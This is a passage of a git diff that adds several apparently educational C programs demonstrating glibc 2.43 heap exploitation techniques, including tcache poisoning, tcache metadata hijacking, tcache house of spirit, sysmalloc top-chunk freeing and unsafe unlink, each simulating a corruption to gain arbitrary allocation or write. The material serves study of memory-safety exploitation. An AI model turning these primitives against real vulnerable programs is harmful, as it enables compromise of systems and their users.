*(long*)value); + puts(""); + /* VULNERABILITY */ + + // Step 5: Allocate twice to allocate the arbitrary value + puts("Allocate twice to gain a pointer to our arbitrary value"); + + _ = malloc(0x18); + printf("\t\t> First 0x20 allocation: %p\n", _); + + char *vuln = malloc(0x18); + printf("\t\t> Second 0x20 allocation: %p\n", vuln); + puts(""); + + // Step 6: Overwrite the goal string pointer and verify it has been changed + strcpy(vuln, "XXXXXXXXXXX HIJACKED!"); + + printf("String now contains: %s\n", goal); + assert(strcmp(goal, "Replace me!") != 0); +} diff --git a/glibc_2.43/sysmalloc_int_free.c b/glibc_2.43/sysmalloc_int_free.c new file mode 100644 index 0000000..466258e --- /dev/null +++ b/glibc_2.43/sysmalloc_int_free.c @@ -0,0 +1,179 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include + +#define SIZE_SZ sizeof(size_t) + +#define CHUNK_HDR_SZ (SIZE_SZ*2) +// same for x86_64 and x86 +#define MALLOC_ALIGN 0x10 +#define MALLOC_MASK (-MALLOC_ALIGN) + +#define PAGESIZE sysconf(_SC_PAGESIZE) +#define PAGE_MASK (PAGESIZE-1) + +// fencepost are offsets removed from the top before freeing +#define FENCEPOST (2*CHUNK_HDR_SZ) + +#define PROBE (0x20-CHUNK_HDR_SZ) + +// target top chunk size that should be freed +#define CHUNK_FREED_SIZE 0x150 +#define FREED_SIZE (CHUNK_FREED_SIZE-CHUNK_HDR_SZ) + +/** + * Tested on: + * + GLIBC 2.39 (x86_64, x86 & aarch64) + * + GLIBC 2.34 (x86_64, x86 & aarch64) + * + GLIBC 2.31 (x86_64, x86 & aarch64) + * + GLIBC 2.27 (x86_64, x86 & aarch64) + * + * sysmalloc allows us to free() the top chunk of heap to create nearly arbitrary bins, + * which can be used to corrupt heap without needing to call free() directly. + * This is achieved through sysmalloc calling _int_free to the top_chunk (wilderness), + * if the top_chunk can't be merged during heap growth + * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913 + * + * This technique is used in House of Orange & Tangerine + */ +int main() { + size_t allocated_size, *top_size_ptr, top_size, new_top_size, freed_top_size, *new, *old; + // disable buffering + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + + // check if all chunks sizes are aligned + assert((CHUNK_FREED_SIZE & MALLOC_MASK) == CHUNK_FREED_SIZE); + + puts("Constants:"); + printf("chunk header \t\t= 0x%lx\n", CHUNK_HDR_SZ); + printf("malloc align \t\t= 0x%lx\n", MALLOC_ALIGN); + printf("page align \t\t= 0x%lx\n", PAGESIZE); + printf("fencepost size \t\t= 0x%lx\n", FENCEPOST); + printf("freed size \t\t= 0x%lx\n", FREED_SIZE); + + printf("target top chunk size \t= 0x%lx\n", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_FREED_SIZE); + + // probe the current size of the top_chunk, + // can be skipped if it is already known or predictable + new = malloc(PROBE); + top_size = new[(PROBE / SIZE_SZ) + 1]; + printf("first top size \t\t= 0x%lx\n", top_size); + + // calculate allocated_size + allocated_size = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_FREED_SIZE; + allocated_size &= PAGE_MASK; + allocated_size &= MALLOC_MASK; + + printf("allocated size \t\t= 0x%lx\n\n", allocated_size); + + puts("1. create initial malloc that will be used to corrupt the top_chunk (wilderness)"); + new = malloc(allocated_size); + + // use BOF or OOB to corrupt the top_chunk + top_size_ptr = &new[(allocated_size / SIZE_SZ)-1 + (MALLOC_ALIGN / SIZE_SZ)]; + + top_size = *top_size_ptr; + + printf("" + "----- %-14p ----\n" + "| NEW | <- initial malloc\n" + "| |\n" + "----- %-14p ----\n" + "| TOP | <- top chunk (wilderness)\n" + "| SIZE (0x%05lx) |\n" + "| ... |\n" + "----- %-14p ---- <- end of current heap page\n\n", + new - 2, + top_size_ptr - 1, + top_size - 1, + top_size_ptr - 1 + (top_size / SIZE_SZ)); + + puts("2. corrupt the size of top chunk to be less, but still page aligned"); + + // make sure corrupt top size is page aligned, generally 0x1000 + // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599 + new_top_size = top_size & PAGE_MASK; + *top_size_ptr = new_top_size; + printf("" + "----- %-14p ----\n" + "| NEW |\n" + "| AAAAAAAAAAAAAAAAAAAAA | <- positive OOB (i.e. BOF)\n" + "----- %-14p ----\n" + "| TOP | <- corrupt size of top chunk (wilderness)\n" + "| SIZE (0x%05lx) |\n" + "----- %-14p ---- <- still page aligned\n" + "| ... |\n" + "----- %-14p ---- <- end of current heap page\n\n", + new - 2, + top_size_ptr - 1, + new_top_size - 1, + top_size_ptr - 1 + (new_top_size / SIZE_SZ), + top_size_ptr - 1 + (top_size / SIZE_SZ)); + + + puts("3. create an allocation larger than the remaining top chunk, to trigger heap growth"); + puts("The now corrupt top_chunk triggers sysmalloc to call _init_free on it"); + + // remove fencepost from top_chunk, to get size that will be freed + // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895 + freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK; + assert(freed_top_size == CHUNK_FREED_SIZE); + + old = new; + new = malloc(CHUNK_FREED_SIZE + 0x10); + + printf("" + "----- %-14p ----\n" + "| OLD |\n" + "| AAAAAAAAAAAAAAAAAAAAA |\n" + "----- %-14p ----\n" + "| FREED | <- old top got freed because it couldn't be merged\n" + "| SIZE (0x%05lx) |\n" + "----- %-14p ----\n" + "| FENCEPOST | <- just some architecture depending padding\n" + "----- %-14p ---- <- still page aligned\n" + "| ... |\n" + "----- %-14p ---- <- end of previous heap page\n" + "| NEW | <- new malloc\n" + "-------------------------\n" + "| TOP | <- top chunk (wilderness)\n" + "| ... |\n" + "------------------------- <- end of current heap page\n\n", + old - 2, + top_size_ptr - 1, + freed_top_size, + top_size_ptr - 1 + (CHUNK_FREED_SIZE/SIZE_SZ), + top_size_ptr - 1 + (new_top_size / SIZE_SZ), + new - (MALLOC_ALIGN / SIZE_SZ)); + + puts("...\n"); + + puts("?. reallocated into the freed chunk"); + + old = new; + new = malloc(FREED_SIZE); + + assert((size_t) old > (size_t) new); + + printf("" + "----- %-14p ----\n" + "| NEW | <- allocated into the freed chunk\n" + "| |\n" + "----- %-14p ----\n" + "| ... |\n" + "----- %-14p ---- <- end of previous heap page\n" + "| OLD | <- old malloc\n" + "-------------------------\n" + "| TOP | <- top chunk (wilderness)\n" + "| ... |\n" + "------------------------- <- end of current heap page\n", + new - 2, + top_size_ptr - 1 + (CHUNK_FREED_SIZE / SIZE_SZ), + old - (MALLOC_ALIGN / SIZE_SZ)); +} diff --git a/glibc_2.43/tcache_house_of_spirit.c b/glibc_2.43/tcache_house_of_spirit.c new file mode 100644 index 0000000..76d1b57 --- /dev/null +++ b/glibc_2.43/tcache_house_of_spirit.c @@ -0,0 +1,44 @@ +#include +#include +#include + +int main() +{ + setbuf(stdout, NULL); + + printf("This file demonstrates the house of spirit attack on tcache.\n"); + printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n"); + printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n"); + printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n"); + + printf("Ok. Let's start with the example!.\n\n"); + + + printf("Calling malloc() once so that it sets up its memory.\n"); + malloc(1); + + printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n"); + unsigned long long *a; //pointer that will be overwritten + unsigned long long fake_chunks[10] __attribute__((aligned(0x10))); //fake chunk region + + printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]); + + printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); + printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); + fake_chunks[1] = 0x40; // this is the size + + + printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); + printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); + + a = &fake_chunks[2]; + + printf("Freeing the overwritten pointer.\n"); + free(a); + + printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); + void *b = malloc(0x30); + printf("malloc(0x30): %p\n", b); + + assert((long)b == (long)&fake_chunks[2]); +} diff --git a/glibc_2.43/tcache_metadata_hijacking.c b/glibc_2.43/tcache_metadata_hijacking.c new file mode 100644 index 0000000..15924e2 --- /dev/null +++ b/glibc_2.43/tcache_metadata_hijacking.c @@ -0,0 +1,38 @@ +#include +#include +#include + +int main() +{ + // disable buffering so _IO_FILE does not interfere with our heap + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + // introduction + puts("This file demonstrates an interesting feature of glibc-2.42: the `tcache_perthread_struct`"); + puts("may not be at the top of the heap, which makes it easy to turn a heap overflow into arbitrary allocation.\n"); + + + puts("In the past, before using the heap, libc will initialize tcache using `MAYBE_INIT_TCACHE`."); + puts("But this patch removes the call in the non-tcache path: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=cbfd7988107b27b9ff1d0b57fa2c8f13a932e508"); + puts("As a result, we can put many large chunks before tcache_perthread_struct"); + puts("and use a heap overflow primitive (or chunk overlapping) to hijack `tcache_perthread_struct`\n"); + + long target[0x4] __attribute__ ((aligned (0x10))); + + long *chunk = malloc(0x420); + printf("first, allocate a large chunk at the top of the heap: %p\n", chunk); + void *p1 = malloc(0x10); + free(p1); + printf("now, allocate a chunk and free it to initialize tcache_perthread_struct and put it right before our chunk\n"); + printf("the tcache_perthread_struct->tcache_entry[0] should be initialized with %p\n", p1); + + printf("Now, we simulate an overflow vulnerability to overwrite the pointer\n"); + /*Vulnerability*/ + chunk[0x420/8+25] = (long)&target[0]; + /*Vulnerability*/ + + void *p2 = malloc(0x10); + printf("Then the next allocation will be at our wanted address: %p\n", p2); + assert(p2 == &target[0]); +} diff --git a/glibc_2.43/tcache_metadata_poisoning.c b/glibc_2.43/tcache_metadata_poisoning.c new file mode 100644 index 0000000..c72ad15 --- /dev/null +++ b/glibc_2.43/tcache_metadata_poisoning.c @@ -0,0 +1,60 @@ +#include +#include +#include +#include + +// Tcache metadata poisoning attack +// ================================ +// +// By controlling the metadata of the tcache an attacker can insert malicious +// pointers into the tcache bins. This pointer then can be easily accessed by +// allocating a chunk of the appropriate size. + +// By default there are 64 tcache bins +#define TCACHE_BINS 76 +// The header of a heap chunk is 0x10 bytes in size +#define HEADER_SIZE 0x10 + +// This is the `tcache_perthread_struct` (or the tcache metadata) +struct tcache_metadata { + uint16_t counts[TCACHE_BINS]; + void *entries[TCACHE_BINS]; +}; + +int main() { + // Disable buffering + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + uint64_t stack_target __attribute__ ((aligned (0x10))) = 0x1337; + + puts("This example demonstrates what an attacker can achieve by controlling\n" + "the metadata chunk of the tcache.\n"); + puts("First we have to allocate a chunk to initialize the stack. This chunk\n" + "will also serve as the relative offset to calculate the base of the\n" + "metadata chunk."); + uint64_t *victim = malloc(0x10); + printf("Victim chunk is at: %p.\n\n", victim); + puts("Now freeing it will lead to the allocation of the metadata on heap"); + free(victim); + + printf("Next we have to calculate the base address of the metadata struct.\n" + "The metadata struct itself is %#lx bytes in size. Additionally we\n" + "have to subtract the header of the victim chunk (so an extra 0x10\n" + "bytes).\n", + sizeof(struct tcache_metadata)); + struct tcache_metadata *metadata = + (struct tcache_metadata *)((long)victim + 2*HEADER_SIZE); + printf("The tcache metadata is located at %p.\n\n", metadata); + + puts("Now we manipulate the metadata struct and insert the target address\n" + "in a chunk. Here we choose the second tcache bin.\n"); + metadata->counts[1] = 6; + metadata->entries[1] = &stack_target; + + uint64_t *evil = malloc(0x20); + printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n" + "second tcache bin. The returned pointer is %p.\n", + evil); + assert(evil == &stack_target); +} diff --git a/glibc_2.43/tcache_poisoning.c b/glibc_2.43/tcache_poisoning.c new file mode 100644 index 0000000..d3f6bb9 --- /dev/null +++ b/glibc_2.43/tcache_poisoning.c @@ -0,0 +1,63 @@ +#include +#include +#include +#include + +int main() +{ + // disable buffering + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n" + "returning a pointer to an arbitrary location (in this case, the stack).\n" + "The attack is very similar to fastbin corruption attack.\n"); + printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n" + "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n"); + printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n" + "An heap address leak is needed to perform tcache poisoning.\n" + "The same patch also ensures the chunk returned by tcache is properly aligned.\n\n"); + + size_t stack_var[0x10]; + size_t *target = NULL; + + // choose a properly aligned target address + for(int i=0; i<0x10; i++) { + if(((long)&stack_var[i] & 0xf) == 0) { + target = &stack_var[i]; + break; + } + } + assert(target != NULL); + + printf("The address we want malloc() to return is %p.\n", target); + + printf("Allocating 2 buffers.\n"); + intptr_t *a = malloc(128); + printf("malloc(128): %p\n", a); + intptr_t *b = malloc(128); + printf("malloc(128): %p\n", b); + + printf("Freeing the buffers...\n"); + free(a); + free(b); + + printf("Now the tcache list has [ %p -> %p ].\n", b, a); + printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n" + "to point to the location to control (%p).\n", sizeof(intptr_t), b, target); + // VULNERABILITY + // the following operation assumes the address of b is known, which requires a heap leak + b[0] = (intptr_t)((long)target ^ (long)b >> 12); + // VULNERABILITY + printf("Now the tcache list has [ %p -> %p ].\n", b, target); + + printf("1st malloc(128): %p\n", malloc(128)); + printf("Now the tcache list has [ %p ].\n", target); + + intptr_t *c = malloc(128); + printf("2nd malloc(128): %p\n", c); + printf("We got the control\n"); + + assert((long)target == (long)c); + return 0; +} diff --git a/glibc_2.43/unsafe_unlink.c b/glibc_2.43/unsafe_unlink.c new file mode 100644 index 0000000..eef44ed --- /dev/null +++ b/glibc_2.43/unsafe_unlink.c @@ -0,0 +1,64 @@ +#include +#include +#include +#include +#include + +uint64_t *chunk0_ptr; + +int main() +{ + setbuf(stdout, NULL); + printf("Welcome to unsafe unlink 2.0!\n"); + printf("Tested in Ubuntu 20.04 64bit.\n"); + printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n"); + printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n"); + + int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin + int header_size = 2; + + printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n"); + + chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0 + uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1 + printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr); + printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr); + + printf("We create a fake chunk inside chunk0.\n"); + printf("We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\n"); + chunk0_ptr[1] = chunk0_ptr[-1] - 0x10; + printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n"); + chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); + printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n"); + printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n"); + chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2); + printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]); + printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]); + + printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n"); + uint64_t *chunk1_hdr = chunk1_ptr - header_size; + printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n"); + printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n"); + chunk1_hdr[0] = malloc_size; + printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\n",(void*)chunk1_hdr[0]); + printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n"); + chunk1_hdr[1] &= ~1; + + printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n"); + printf("You can find the source of the unlink_chunk function at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612\n\n"); + free(chunk1_ptr); + + printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n"); + char victim_string[8]; + strcpy(victim_string,"Hello!~"); + chunk0_ptr[3] = (uint64_t) victim_string; + + printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n"); + printf("Original value: %s\n",victim_string); + chunk0_ptr[0] = 0x4141414142424242LL; + printf("New Value: %s\n",victim_string); + + // sanity check + assert(*(long *)victim_string == 0x4141414142424242L); +} +